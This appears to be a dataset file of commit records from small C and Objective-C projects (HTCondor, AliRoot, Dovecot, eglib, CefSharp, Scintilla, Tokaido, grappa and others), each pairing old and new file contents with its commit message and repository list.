{"commit":"40732a47d7d7e570a5124a6acf64665a0566dee9","old_file":"src\/h\/startup.h","new_file":"src\/h\/startup.h","old_contents":"typedef struct {\n\tint\t\tcluster;\t\t\t\t\/* Condor Cluster # *\/\n\tint\t\tproc;\t\t\t\t\t\/* Condor Proc # *\/\n\tint\t\tjob_class;\t\t\t\t\/* STANDARD, VANILLA, PVM, PIPE, ... *\/\n\tuid_t\tuid;\t\t\t\t\t\/* Execute job under this UID *\/\n\tgid_t\tgid;\t\t\t\t\t\/* Execute job under this pid *\/\n\tpid_t\tvirt_pid;\t\t\t\t\/* PVM virt pid of this process *\/\n\tint\t\tsoft_kill_sig;\t\t\t\/* Use this signal for a soft kill *\/\n\tchar\t*a_out_name;\t\t\t\/* Where to get executable file *\/\n\tchar\t*cmd;\t\t\t\t\t\/* Command name given by the user *\/\n\tchar\t*args;\t\t\t\t\t\/* Command arguments given by the user *\/\n\tchar\t*env;\t\t\t\t\t\/* Environment variables *\/\n\tchar\t*iwd;\t\t\t\t\t\/* Initial working directory *\/\n\tBOOLEAN\tckpt_wanted;\t\t\t\/* Whether user wants checkpointing *\/\n\tBOOLEAN\tis_restart;\t\t\t\t\/* Whether this run is a restart *\/\n\tBOOLEAN\tcoredump_limit_exists;\t\/* Whether user wants to limit core size *\/\n\tint\t\tcoredump_limit;\t\t\t\/* Limit in bytes *\/\n} STARTUP_INFO;\n","new_contents":"typedef struct {\n\tint\t\tcluster;\t\t\t\t\/* Condor Cluster # *\/\n\tint\t\tproc;\t\t\t\t\t\/* Condor Proc # *\/\n\tint\t\tjob_class;\t\t\t\t\/* STANDARD, VANILLA, PVM, PIPE, ... *\/\n\tuid_t\tuid;\t\t\t\t\t\/* Execute job under this UID *\/\n\tgid_t\tgid;\t\t\t\t\t\/* Execute job under this pid *\/\n\tpid_t\tvirt_pid;\t\t\t\t\/* PVM virt pid of this process *\/\n\tint\t\tsoft_kill_sig;\t\t\t\/* Use this signal for a soft kill *\/\n\tchar\t*a_out_name;\t\t\t\/* Where to get executable file *\/\n\tchar\t*cmd;\t\t\t\t\t\/* Command name given by the user *\/\n\tchar\t*args;\t\t\t\t\t\/* Command arguments given by the user *\/\n\tchar\t*env;\t\t\t\t\t\/* Environment variables *\/\n\tchar\t*iwd;\t\t\t\t\t\/* Initial working directory *\/\n\tBOOLEAN\tckpt_wanted;\t\t\t\/* Whether user wants checkpointing *\/\n\tBOOLEAN\tis_restart;\t\t\t\t\/* Whether this run is a restart *\/\n\tBOOLEAN\tcoredump_limit_exists;\t\/* Whether user wants to limit core size *\/\n\tint\t\tcoredump_limit;\t\t\t\/* Limit in bytes *\/\n} STARTUP_INFO;\n\n\/*\nShould eliminate starter knowing the a.out name.  Should go to\nshadow for instructions on how to fetch the executable - e.g. local file\nwith name <name> or get it from TCP port <x> on machine <y>.\n*\/\n","subject":"Add comment saying that even though the a.out file name is here, it really shouldn't be.","message":"Add comment saying that even though the a.out file name is here, it really\nshouldn't be.\n","lang":"C","license":"apache-2.0","repos":"neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco"}
{"commit":"e7baa2446426f801c372e771969f41b98c39e0bc","old_file":"MUON\/mapping\/AliMpStationType.h","new_file":"MUON\/mapping\/AliMpStationType.h","old_contents":"","new_contents":"\/\/ $Id$\n\/\/ Category: sector\n\/\/\n\/\/ Enum AliMpStationType\n\/\/ ---------------------\n\/\/ Enumeration for refering to bending and non-bending planes.\n\/\/\n\/\/ Authors: David Guez, Ivana Hrivnacova; IPN Orsay\n \n#ifndef ALI_MP_STATION_TYPE_H\n#define ALI_MP_STATION_TYPE_H\n \nenum AliMpStationType\n{\n  kStation1, \/\/ station 1\n  kStation2, \/\/ station 2\n};\n\n#endif \/\/ALI_MP_STATION_TYPE_H\n","subject":"Update for station2: Initial version (I.Hrivnacova)","message":"   Update for station2:\n   Initial version\n   (I.Hrivnacova)\n\n","lang":"C","license":"bsd-3-clause","repos":"mkrzewic\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"6a5a7dff3117f2e7093fed49bbbb7b2cd1d9704e","old_file":"src\/lib\/llist.h","new_file":"src\/lib\/llist.h","old_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t} STMT_END\n\n#endif\n","new_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) { \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t\t(item)->next = NULL; \\\n\t} \\\n\t(item)->prev = NULL; \\\n\t} STMT_END\n\n#endif\n","subject":"Set removed item's prev\/next pointers to NULL.","message":"DLLIST_REMOVE(): Set removed item's prev\/next pointers to NULL.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"2c84316746fa61b35efbc0c334fcb2a6dec0d53d","old_file":"src\/vasprintf.c","new_file":"src\/vasprintf.c","old_contents":"#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint vasprintf(char **ret, const char *fmt, va_list ap)\n{\n\tchar *buf;\n\tint len;\n\tsize_t buflen;\n\tva_list ap2;\n\t\n#ifdef _MSC_VER\n\tap2 = ap;\n\tlen = _vscprintf(fmt, ap2); \/\/ NOTE MS specific extension ( :-( )\n#else\n\tva_copy(ap2, ap);\n\tlen = vsnprintf(NULL, 0, fmt, ap2);\n#endif\n\t\n\tif (len > 0 && (buf = malloc((buflen = (size_t) (len + 1)))) != NULL) {\n\t\tlen = vsnprintf(buf, buflen, fmt, ap);\n\t\t*ret = buf;\n\t} else {\n\t\t*ret = NULL;\n\t\tlen = -1;\n\t}\n\t\n\tva_end(ap2);\n\treturn len;\n}\n","new_contents":"#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint vasprintf(char **ret, const char *fmt, va_list ap)\n{\n\tchar *buf;\n\tint len;\n\tsize_t buflen;\n\tva_list ap2;\n\t\n#if defined(_MSC_VER) || defined(__MINGW64_VERSION_MAJOR)\n\tap2 = ap;\n\tlen = _vscprintf(fmt, ap2); \/\/ NOTE MS specific extension ( :-( )\n#else\n\tva_copy(ap2, ap);\n\tlen = vsnprintf(NULL, 0, fmt, ap2);\n#endif\n\t\n\tif (len > 0 && (buf = malloc((buflen = (size_t) (len + 1)))) != NULL) {\n\t\tlen = vsnprintf(buf, buflen, fmt, ap);\n\t\t*ret = buf;\n\t} else {\n\t\t*ret = NULL;\n\t\tlen = -1;\n\t}\n\t\n\tva_end(ap2);\n\treturn len;\n}\n","subject":"Use _vscprintf() for mingw-w64 compilers","message":"Use _vscprintf() for mingw-w64 compilers\n\nThe mingw-w64 compilers implement a vsnprintf() function that do not\nconform to the C99 standard (just like MSVC).\n","lang":"C","license":"mit","repos":"mono\/eglib,mono\/eglib"}
{"commit":"4f1caf24100fb7a0d0c1ab8fcc10f2e9a412e0cd","old_file":"CefSharp.Core\/Internals\/CefRequestCallbackWrapper.h","new_file":"CefSharp.Core\/Internals\/CefRequestCallbackWrapper.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    namespace Internals\n    {\n        public ref class CefRequestCallbackWrapper : public IRequestCallback\n        {\n        private:\n            MCefRefPtr<CefRequestCallback> _callback;\n            CefRequestWrapper^ _requestWrapper;\n\n        internal:\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback)\n                : CefRequestCallbackWrapper(callback, nullptr)\n            {\n            }\n\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback, CefRequestWrapper^ requestWrapper)\n                : _callback(callback), _requestWrapper(requestWrapper)\n            {\n            }\n\n            !CefRequestCallbackWrapper()\n            {\n                _callback = NULL;\n            }\n\n            ~CefRequestCallbackWrapper()\n            {\n                this->!CefRequestCallbackWrapper();\n                if (_requestWrapper != nullptr)\n                {\n                    delete _requestWrapper;\n                }\n            }\n\n        public:\n            virtual void Continue(bool allow)\n            {\n                _callback->Continue(allow);\n                delete this;\n            }\n\n            virtual void Cancel()\n            {\n                _callback->Cancel();\n                delete this;\n            }\n        };\n    }\n}\n","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    namespace Internals\n    {\n        public ref class CefRequestCallbackWrapper : public IRequestCallback\n        {\n        private:\n            MCefRefPtr<CefRequestCallback> _callback;\n            IRequest^ _request;\n\n        internal:\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback)\n                : CefRequestCallbackWrapper(callback, nullptr)\n            {\n            }\n\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback, IRequest^ request)\n                : _callback(callback), _request(request)\n            {\n            }\n\n            !CefRequestCallbackWrapper()\n            {\n                _callback = NULL;\n            }\n\n            ~CefRequestCallbackWrapper()\n            {\n                this->!CefRequestCallbackWrapper();\n                if (_request != nullptr)\n                {\n                    delete _request;\n                }\n            }\n\n        public:\n            virtual void Continue(bool allow)\n            {\n                _callback->Continue(allow);\n                delete this;\n            }\n\n            virtual void Cancel()\n            {\n                _callback->Cancel();\n                delete this;\n            }\n        };\n    }\n}\n","subject":"Change to use IRequest instead (use interfaces for classes where possible)","message":"Change to use IRequest instead (use interfaces for classes where possible)\n","lang":"C","license":"bsd-3-clause","repos":"wangzheng888520\/CefSharp,joshvera\/CefSharp,Haraguroicha\/CefSharp,Haraguroicha\/CefSharp,dga711\/CefSharp,rlmcneary2\/CefSharp,haozhouxu\/CefSharp,ruisebastiao\/CefSharp,yoder\/CefSharp,illfang\/CefSharp,battewr\/CefSharp,zhangjingpu\/CefSharp,illfang\/CefSharp,twxstar\/CefSharp,windygu\/CefSharp,ITGlobal\/CefSharp,jamespearce2006\/CefSharp,jamespearce2006\/CefSharp,Haraguroicha\/CefSharp,NumbersInternational\/CefSharp,gregmartinhtc\/CefSharp,joshvera\/CefSharp,dga711\/CefSharp,battewr\/CefSharp,gregmartinhtc\/CefSharp,yoder\/CefSharp,windygu\/CefSharp,illfang\/CefSharp,VioletLife\/CefSharp,twxstar\/CefSharp,wangzheng888520\/CefSharp,twxstar\/CefSharp,NumbersInternational\/CefSharp,yoder\/CefSharp,AJDev77\/CefSharp,ruisebastiao\/CefSharp,gregmartinhtc\/CefSharp,AJDev77\/CefSharp,jamespearce2006\/CefSharp,ITGlobal\/CefSharp,Livit\/CefSharp,wangzheng888520\/CefSharp,VioletLife\/CefSharp,zhangjingpu\/CefSharp,illfang\/CefSharp,rlmcneary2\/CefSharp,ITGlobal\/CefSharp,VioletLife\/CefSharp,Livit\/CefSharp,battewr\/CefSharp,windygu\/CefSharp,dga711\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,Livit\/CefSharp,ruisebastiao\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,battewr\/CefSharp,NumbersInternational\/CefSharp,rlmcneary2\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,NumbersInternational\/CefSharp,haozhouxu\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,ruisebastiao\/CefSharp,Livit\/CefSharp,gregmartinhtc\/CefSharp,haozhouxu\/CefSharp,twxstar\/CefSharp,rlmcneary2\/CefSharp,dga711\/CefSharp,yoder\/CefSharp,AJDev77\/CefSharp,VioletLife\/CefSharp,joshvera\/CefSharp,windygu\/CefSharp,zhangjingpu\/CefSharp,jamespearce2006\/CefSharp,joshvera\/CefSharp"}
{"commit":"d6b237df5e17eab304b62a01ff377a1e9fda0caf","old_file":"win32\/PlatWin.h","new_file":"win32\/PlatWin.h","old_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(_MSC_VER)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","new_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(USE_D2D)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","subject":"Allow choice of D2D on compiler command line.","message":"Allow choice of D2D on compiler command line.\n","lang":"C","license":"isc","repos":"timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla,timonwong\/foo_uie_wsh_panel_mod.scintilla"}
{"commit":"83e16fa7755f2b4c908366d28aa83180a2d9e817","old_file":"PHPHub\/Constants\/SecretConstant.example.h","new_file":"PHPHub\/Constants\/SecretConstant.example.h","old_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#if DEBUG\n#define Client_id       @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret   @\"PuuFCrF94MloSbSkxpwS\"\n#else\n#define Client_id       @\"Set up a client id for production env\"\n#define Client_secret   @\"Set up a client secret for production env\"\n#endif\n\n#define UMENG_APPKEY    @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID     @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID       @\"Set up weixin app id\"\n#define WX_APP_SECRET   @\"Set up weixin app secret\"\n#define TRACKING_ID     @\"Set up google anlytics tracking id\"","new_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#if DEBUG\n#define Client_id       @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret   @\"PuuFCrF94MloSbSkxpwS\"\n#else\n#define Client_id       @\"\" \/\/ Set up a client id for production environment\n#define Client_secret   @\"\" \/\/ Set up a client secret for production environment\n#endif\n\n#define UMENG_APPKEY    @\"\" \/\/ Set up UMEng App Key\n#define UMENG_QQ_ID     @\"\" \/\/ Set up QQ id\n#define UMENG_QQ_APPKEY @\"\" \/\/ Set up QQ appkey\n#define WX_APP_ID       @\"\" \/\/ Set up wechat app id\n#define WX_APP_SECRET   @\"\" \/\/ Set up wechat app secret\n#define JPush_APP_KEY   @\"\" \/\/ Set up Jpush App Key\n#define TRACKING_ID     @\"\" \/\/ Set up google anlytics tracking id","subject":"Update comments of SecretConstant file","message":"Update comments of SecretConstant file\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"a8d2223c18dad7981b74670ef719d9dcc5833679","old_file":"ann.h","new_file":"ann.h","old_contents":"#ifndef ANN_H\n#define ANN_H\n\n#endif\n","new_contents":"#ifndef ANN_H\n#define ANN_H\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS + 1];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN + 1];\n    double output[OUTPUTS][HIDDEN + 1];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[ROWS - 2][HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Links slopes;\n    Neurons values;\n} ANN;\n\nvoid ann_create(ANN *ann)\n\nvoid ann_mutate(ANN *ann, double increment)\n\nvoid ann_calculate(ANN *ann, double increment)\n\nvoid ann_save(ANN *ann, char *filename)\n\nvoid ann_load(ANN *ann, char *filename)\n\n#endif\n","subject":"Create contents of .h file","message":"Create contents of .h file\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
{"commit":"777e88ac428fa5af101a3345359fa563fd7c1e8e","old_file":"IAAI.c","new_file":"IAAI.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nint main() {\n  system(RAW);\n\n  char str[] = \"I AM AN IDIOT \";\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\b%c\", str[i]);\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  system(RAW);\n\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\b%c\", str[i]);\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","subject":"Allow user to choose if they want :)","message":"Allow user to choose if they want :)\n","lang":"C","license":"mit","repos":"vinamarora8\/IAAI"}
{"commit":"a528fce787eb40471330c0464848b8a6b9f72b44","old_file":"Tokaido\/TKDApp.h","new_file":"Tokaido\/TKDApp.h","old_contents":"\/\/\n\/\/  TKDApp.h\n\/\/  Tokaido\n\/\/\n\/\/  Created by Mucho Besos on 10\/25\/12.\n\/\/  Copyright (c) 2012 Tilde. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\ntypedef enum : NSUInteger {\n    TKDAppOff,\n    TKDAppBooting,\n    TKDAppOn,\n    TKDAppShuttingDown\n} TKDAppState;\n\n@interface TKDApp : MTLModel\n\n@property (nonatomic, copy) NSString *appName;\n@property (nonatomic, copy) NSString *appDirectoryPath;\n@property (nonatomic, copy) NSString *appHostname;\n@property (nonatomic, copy) NSString *appIconPath;\n\n@property (nonatomic, assign) TKDAppState state;\n@property (nonatomic, assign) BOOL usesYAMLfile;\n\n\n\/** \n \n This can be used to init an TKD app instance with a directory, provided the\n directory includes a Tokaido.yaml file with the following entries:\n \n app_name: App Name\n hostname: app.local\n app_icon: .\/icon.png\n \n *\/\n\n- (id)initWithTokaidoDirectory:(NSURL *)url;\n\n\n- (void)showInFinder;\n- (void)openInBrowser;\n- (void)serializeToYAML;\n\n@end\n","new_contents":"\/\/\n\/\/  TKDApp.h\n\/\/  Tokaido\n\/\/\n\/\/  Created by Mucho Besos on 10\/25\/12.\n\/\/  Copyright (c) 2012 Tilde. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\ntypedef enum : NSUInteger {\n    TKDAppOff,\n    TKDAppBooting,\n    TKDAppOn,\n    TKDAppShuttingDown\n} TKDAppState;\n\ntypedef enum : NSUInteger {\n    TKDAppBundling,\n    TKDAppBundleFailed,\n    TKDAppStartingServer\n} TKDAppBootingSubstate;\n\n@interface TKDApp : MTLModel\n\n@property (nonatomic, copy) NSString *appName;\n@property (nonatomic, copy) NSString *appDirectoryPath;\n@property (nonatomic, copy) NSString *appHostname;\n@property (nonatomic, copy) NSString *appIconPath;\n\n@property (nonatomic, assign) TKDAppState state;\n@property (nonatomic, assign) TKDAppBootingSubstate bootingSubstate;\n@property (nonatomic, assign) BOOL usesYAMLfile;\n\n\n\/** \n \n This can be used to init an TKD app instance with a directory, provided the\n directory includes a Tokaido.yaml file with the following entries:\n \n app_name: App Name\n hostname: app.local\n app_icon: .\/icon.png\n \n *\/\n\n- (id)initWithTokaidoDirectory:(NSURL *)url;\n\n\n- (void)showInFinder;\n- (void)openInBrowser;\n- (void)serializeToYAML;\n\n@end\n","subject":"Add booting substate for message","message":"Add booting substate for message","lang":"C","license":"mit","repos":"webdev1001\/tokaidoapp,tokaido\/tokaidoapp,tokaido\/tokaidoapp,webdev1001\/tokaidoapp,webdev1001\/tokaidoapp,webdev1001\/tokaidoapp,tokaido\/tokaidoapp"}
{"commit":"30658b235a7a7b8df8164741d03dd9fc6e45129d","old_file":"system\/coro.c","new_file":"system\/coro.c","old_contents":"#include \"coro.h\"\n#include \"stack.h\"\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n\ncoro *coro_spawn(coro *me, coro_func f, size_t ssize) {\n  coro *c = (coro*)malloc(sizeof(coro));\n  assert(c != NULL);\n  c->running = 0;\n  c->base = malloc(ssize);\n  assert(c->base != NULL);\n  c->stack = c->base + ssize;\n  memset(c->base, 0, ssize);\n  makestack(&me->stack, &c->stack, f, c);\n  return c;\n}\n\ncoro *coro_init() {\n  coro *me = (coro*)malloc(sizeof(coro));\n  me->running = 1;\n  \/\/ We don't need to free this (it's just the main stack segment)\n  \/\/ so ignore it.\n  me->base = NULL;\n  \/\/ This'll get overridden when we swapstacks out of here.\n  me->stack = NULL;\n  return me;\n}\n\nvoid destroy_coro(coro *c) {\n  free(c->base);\n  free(c);\n}\n","new_contents":"#include \"coro.h\"\n#include \"stack.h\"\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n\ncoro *coro_spawn(coro *me, coro_func f, size_t ssize) {\n  coro *c = (coro*)malloc(sizeof(coro));\n  assert(c != NULL);\n  c->running = 0;\n  c->base = malloc(ssize);\n  assert(c->base != NULL);\n  c->stack = (char*) c->base + ssize;\n  memset(c->base, 0, ssize);\n  makestack(&me->stack, &c->stack, f, c);\n  return c;\n}\n\ncoro *coro_init() {\n  coro *me = (coro*)malloc(sizeof(coro));\n  me->running = 1;\n  \/\/ We don't need to free this (it's just the main stack segment)\n  \/\/ so ignore it.\n  me->base = NULL;\n  \/\/ This'll get overridden when we swapstacks out of here.\n  me->stack = NULL;\n  return me;\n}\n\nvoid destroy_coro(coro *c) {\n  free(c->base);\n  free(c);\n}\n","subject":"Make pointer arithmetic warning go away","message":"Make pointer arithmetic warning go away\n","lang":"C","license":"bsd-3-clause","repos":"buaasun\/grappa,buaasun\/grappa,alexfrolov\/grappa,alexfrolov\/grappa,alexfrolov\/grappa,alexfrolov\/grappa,uwsampa\/grappa,uwsampa\/grappa,uwsampa\/grappa,alexfrolov\/grappa,uwsampa\/grappa,uwsampa\/grappa,alexfrolov\/grappa,buaasun\/grappa,buaasun\/grappa,alexfrolov\/grappa,buaasun\/grappa,buaasun\/grappa,buaasun\/grappa,uwsampa\/grappa,uwsampa\/grappa"}
{"commit":"cfab8acf28fd7aff0b2d355c9935b028376ea08e","old_file":"sequence.h","new_file":"sequence.h","old_contents":"#ifndef SEQUENCE_H\n#define SEQUENCE_H\n\n#include \"object.h\"\n\n\ntypedef enum IterType_ {ITERLIST, ITERVECTOR} IterType;\n\ntypedef struct Iter_ {\n    IterType type;\n    union {\n        struct {\n            Object *node;\n            bool first;\n        } list;\n        struct {\n            Object *object;\n            int index;\n        } vec;\n    } u;\n} Iter;\n\nbool object_isseq(Object *object);\nIter seq_iter(Object *object);\nObject *iter_next(Iter *iter);\nint seq_len(Object *object);\nObject *seq_nth(Object *object, int n);\n\n#endif\n","new_contents":"#ifndef SEQUENCE_H\n#define SEQUENCE_H\n\n#include \"object.h\"\n\n\ntypedef enum IterType_ {ITERLIST, ITERVECTOR} IterType;\n\ntypedef struct Iter_ {\n    IterType type;\n    union {\n        struct {\n            Object *node;\n            bool first;\n        } list;\n        struct {\n            Object *object;\n            int index;\n        } vec;\n    } u;\n} Iter;\n\nbool object_isseq(Object *object) __attribute__ ((pure));\nIter seq_iter(Object *object);\nObject *iter_next(Iter *iter);\nint seq_len(Object *object) __attribute__ ((pure));\nObject *seq_nth(Object *object, int n) __attribute__ ((pure));\n\n#endif\n","subject":"Mark some functions as pure","message":"Mark some functions as pure\n","lang":"C","license":"mit","repos":"ids1024\/idslisp"}
{"commit":"d61970e389e32156543068e359c5af767bb3e549","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#pragma once\n#include <unistd.h>\n\n#include <iostream>\n#include <list>\n#include <map>\n#include <mutex>\n#include <unordered_map>\n#include <queue>\n#include <sstream>\n#include <thread>\n#include <tuple>\n#include <vector>","new_contents":"#pragma once\n#include <unistd.h>\n\n#include <iostream>\n#include <list>\n#include <map>\n#include <mutex>\n#include <unordered_map>\n#include <queue>\n#include <sstream>\n#include <set>\n#include <thread>\n#include <tuple>\n#include <vector>","subject":"Include missing necessary include <set>","message":"Include missing necessary include <set>\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
